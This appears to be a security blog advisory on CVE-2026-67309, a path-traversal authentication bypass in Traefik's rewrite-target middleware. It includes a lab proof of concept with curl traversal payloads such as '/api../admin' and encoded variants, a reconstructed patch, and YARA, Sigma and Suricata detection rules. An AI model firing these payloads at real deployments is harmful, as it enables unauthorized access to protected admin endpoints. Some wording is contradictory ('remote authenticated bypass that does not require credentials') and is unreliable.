CVE-2026-67309

Executive Summary

CVE-2026-67309 is an authentication bypass in Traefik versions >= v3.7.0 and <= v3.7.7. The flaw exists in the Kubernetes Ingress NGINX provider's RewriteTarget middleware, which Traefik generates from the nginx.ingress.kubernetes.io/rewrite-target annotation.

When an Ingress path uses a regular expression such as /api(.*) and the rewrite target is /$1, an unauthenticated HTTP request such as /api../admin can match the public router, be rewritten to the path traversal value /../admin, and be forwarded to a backend. If the backend canonicalizes dot segments, the request reaches a protected resource such as /admin that should only be accessible via a separate Traefik router protected by BasicAuth, DigestAuth, or ForwardAuth. This is a route-level authentication bypass.

The NVD entry shows a placeholder CVSS score of 0.0 and UNKNOWN / UNPATCHED status. The vendor advisory, however, confirms the issue is fixed in Traefik v3.7.8. Treat the NVD metadata as stale and apply the vendor patch as soon as possible. No public exploit or Nuclei template is available at the time of writing.

Supply Chain & Package Security

Traefik is distributed as a single Go binary and as OCI container images on Docker Hub and GitHub Container Registry. Because this vulnerability is in the routing layer of the Traefik binary itself, the following supply-chain actions are critical:

• Pin Traefik container image digests, not just image tags such as v3.7.7.
• Verify image signatures and provenance metadata before deployment.
• Maintain an SBOM for the Go module dependencies and the container base image.
• Integrate Traefik image scans into the CI/CD pipeline.
• Update to v3.7.8 or later in development, staging, and production environments.
• Re-run deployment playbooks or GitOps reconciliation after the upgrade to ensure no old Traefik pods remain running.

CVSS Breakdown & Threat Level

The official NVD record currently reports CVSS Score: 0.0 with no supplied vector. This should not be interpreted as "not exploitable"; it likely reflects an incomplete or placeholder NVD record.

Threat Level: High

The vulnerability allows an unauthenticated remote attacker to reach backend endpoints protected by a different Traefik router. Because the protected endpoint may expose administrative functions or sensitive data, the real-world impact is high.

Deep Dive & Mechanics

Traefik uses routers to match incoming HTTP requests. A router can be configured with a Host matcher and a Path matcher. In Kubernetes Ingress, the nginx.ingress.kubernetes.io/rewrite-target annotation is honored by Traefik's Kubernetes Ingress provider for compatibility.

A vulnerable Ingress configuration resembles this:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: public-api
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /$1
spec:
  rules:
    - host: app.victim.local
      http:
        paths:
          - path: /api(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: public-api-svc
                port:
                  number: 8080

A separate Ingress or TraefikIngressRoute exposes /admin only through authentication middleware:

apiVersion: traefik.containo.us/v1alpha1
kind: Middleware
metadata:
  name: basic-auth
spec:
  basicAuth:
    secret: auth-secret

An attacker sends:

GET /api../admin HTTP/1.1
Host: app.victim.local

Traefik evaluates the public router path matcher /api(.*). The regular expression is greedy: (.*) captures ../admin. The request is rewritten according to the annotation:

/api../admin  ->  /../admin

The rewritten path /../admin is not rejected by Traefik. It is forwarded to the public backend. A typical Go backend serves requests through net/http which may canonicalize /../admin to /admin, or a reverse proxy at the backend layer may do the same. If the public backend forwards to an application service that contains the admin handler, the attacker reaches /admin without ever being evaluated by the authentication middleware on the protected router.

The root cause is a missing post-rewrite normalization check. Traefik should have rejected the rewritten path after detecting dot segments such as .. or after comparing the cleaned path with the original.

Vulnerable vs. Patched Code

The exact upstream patch is not public in full, but the functional behavior is clear.

Vulnerable Behavior in v3.7.7

func (m *RewriteTarget) rewritePath(rw http.ResponseWriter, req *http.Request) {
    req.URL.Path = m.pattern.ReplaceAllString(req.URL.Path, m.target)
    // Missing validation of dot segments in req.URL.Path.
    // "/../admin" survives and is forwarded.
}

Patched Behavior in v3.7.8

func (m *RewriteTarget) rewritePath(rw http.ResponseWriter, req *http.Request) {
    rewritten := m.pattern.ReplaceAllString(req.URL.Path, m.target)

    // Reject any rewritten path that contains a dot segment.
    if strings.Contains(rewritten, "..") {
        http.Error(rw, "invalid rewrite target path", http.StatusBadRequest)
        return
    }

    // Optional normalization consistency check.
    cleaned := path.Clean(rewritten)
    if cleaned != rewritten {
        http.Error(rw, "path normalization mismatch", http.StatusBadRequest)
        return
    }

    req.URL.Path = rewritten
}

The exact implementation may differ, but the security control should be equivalent: rewritten paths containing .. must not be forwarded to backends.

Exploitation & Lab Setup

No public exploit or Exploit-DB code is available. The following is a controlled proof-of-concept for a local lab environment.

Lab Topology

• Traefik v3.7.7 deployed as a Kubernetes Ingress Controller
• Public service public-api-svc receives rewritten requests
• Admin service admin-api-svc exposes /admin
• BasicAuth middleware protects the /admin router
• Attacker is unauthenticated and sends requests to the public ingress

Red Team Playbook

Deploy the vulnerable public Ingress:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: public-api
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /$1
spec:
  rules:
    - host: app.victim.local
      http:
        paths:
          - path: /api(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: public-api-svc
                port:
                  number: 8080

Deploy the protected admin Ingress:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: admin-api
  annotations:
    traefik.ingress.kubernetes.io/router.middlewares: default-basic-auth@kubernetescrd
spec:
  rules:
    - host: app.victim.local
      http:
        paths:
          - path: /admin
            pathType: Exact
            backend:
              service:
                name: admin-api-svc
                port:
                  number: 8080

Send the traversal request using curl --path-as-is to prevent curl or the local client from normalizing dot segments:

curl --path-as-is -i -sS -H "Host: app.victim.local" \
  "http://127.0.0.1:8080/api../admin"

An unpatched vulnerable deployment may return HTTP/1.1 200 OK or another admin API response instead of 401 Unauthorized. The attacker has now bypassed the BasicAuth middleware associated with the /admin router.

Try additional payloads:

curl --path-as-is -i -sS -H "Host: app.victim.local" \
  "http://127.0.0.1:8080/api%2e%2e/admin"

curl --path-as-is -i -sS -H "Host: app.victim.local" \
  "http://127.0.0.1:8080/api..%2fadmin"

After upgrading to v3.7.8, the same requests should return 400 Bad Request, 404 Not Found, or 401 Unauthorized depending on the routing order.

Blue Team Playbook

• Upgrade Traefik to v3.7.8 immediately.
• Scan all Ingress manifests for dangerous regex paths and rewrite-target annotations.
• Replace /api(.*) with a strict path prefix such as /api/ unless regex is absolutely required.
• Add a WAF rule to reject any URI containing .., %2e%2e, ..%2f, or %2e%2e%2f.
• Enable Traefik access log request URI capture and alert on dot-segment patterns.
• Add authentication at the backend itself, not only at the Traefik router layer.

Indicators of Compromise (IOCs)

The following indicators should be treated as suspicious when seen in Traefik access logs or upstream proxy logs:

• Request URIs containing /api../, /%2e%2e/, /..%2f, /..;/, /..%00
• Raw request lines containing /api../admin
• Requests to public API paths that return backend-specific authentication errors or success responses for protected endpoints
• Repeated 200 OK responses to URIs that should have returned 401 or 403 from an auth-protected router
• Unexpected Traefik router labels: a request that matches public-api@kubernetes but reaches an admin backend
• Logs showing rewrite-target middleware applied to a request with a rewritten path containing ..
• Ingress metadata containing nginx.ingress.kubernetes.io/rewrite-target: /$1 together with regex path /api(.*) or similar patterns

Example suspicious access log line:

10.0.0.45 - - [01/Jan/2026:12:00:00 +0000] "GET /api../admin HTTP/1.1" 200 42 "-" "-" 1 "public-api@kubernetes" "http://app.victim.local" 5ms

Detection Engineering

The following detection rules are provided for SOC and NSM deployment.

YARA Rule

Scan Ingress YAML files, Git repositories, or collected configuration archives for vulnerable Traefik rewrite-target patterns.

rule CVE_2026_67309_Traefik_RewriteTarget_PathTraversal
{
    meta:
        author = "Valters IT"
        description = "Detects risky Traefik kubernetes Ingress rewrite-target annotations associated with CVE-2026-67309"
        reference = "CVE-2026-67309"
        date = "2026-01-01"
    strings:
        $annotation = "nginx.ingress.kubernetes.io/rewrite-target: /$1" ascii
        $path_capture = "/api(" ascii
        $dotdot = "/../" ascii
        $encoded_dotdot = "/%2e%2e/" ascii
    condition:
        $annotation and ($path_capture or $dotdot or $encoded_dotdot)
}

Sigma Rule

Detect path traversal attempts in Traefik access logs.

title: CVE-2026-67309 Traefik RewriteTarget Path Traversal Attempt
id: 6b7e9f9c-8d2a-4e9c-9a01-3fce2b7e7c4d
status: experimental
description: Detects dot-segment traversal in HTTP requests targeting Traefik ingress controllers
references:
    - CVE-2026-67309
logsource:
    category: webserver
    product: traefik
detection:
    selection:
        request.uri|contains:
            - '/api../'
            - '/api%2e%2e/'
            - '/%2e%2e/'
            - '/%2e%2e%2f'
            - '/..%2f'
            - '/..;/'
    condition: selection
falsepositives:
    - Security scanners and penetration testing tools
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026.67309

Suricata Rule

Detect traversal payloads over HTTP based on the raw URI.

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-67309 Traefik RewriteTarget Path Traversal Attempt";
    flow:established,to_server;
    http.raw_uri;
    content:"/api../";
    nocase;
    sid:202667309;
    rev:1;
    metadata:created_at 2026_01_01;
)

Detection Notes

• Traefik access logs should be configured to preserve the raw request URI.
• Use the http.raw_uri buffer in Suricata because HTTP parsers may normalize dot segments before matching.
• Correlate successful traversal attempts with later access to protected endpoints.
• Monitor for 200 OK responses on paths that should have required authentication.

Remediation & Mitigation

The immediate and complete remediation is to upgrade Traefik to v3.7.8 or newer.

Additional hardening controls:

• Remove nginx.ingress.kubernetes.io/rewrite-target annotations where possible.
• Replace regex capture paths with safer prefix matchers.
• If regex rewriting must be used, ensure the capture group cannot begin with ...
• Require path separators in regex, for example use /api(/|$)(.*) instead of /api(.*).
• Add a Traefik middleware or plugin to reject URIs containing dot segments before rewriting.
• Deploy authentication middleware at every sensitive backend route and also enforce authentication at the application layer.
• Use a backend reverse proxy that canonicalizes paths in a controlled, centralized manner.
• Alert on any request containing both rewrite-target usage and dot-segment traversal.
• Audit all existing Kubernetes Ingress objects and TraefikIngressRoute resources for vulnerable annotation patterns.

Priority should be given to internet-facing Traefik instances. This is a remote authenticated bypass that does not require credentials when the vulnerable route is publicly accessible.

Valters IT Senior DevSecOps Engineer | Cyber Threat Intelligence Think. Verify. Secure.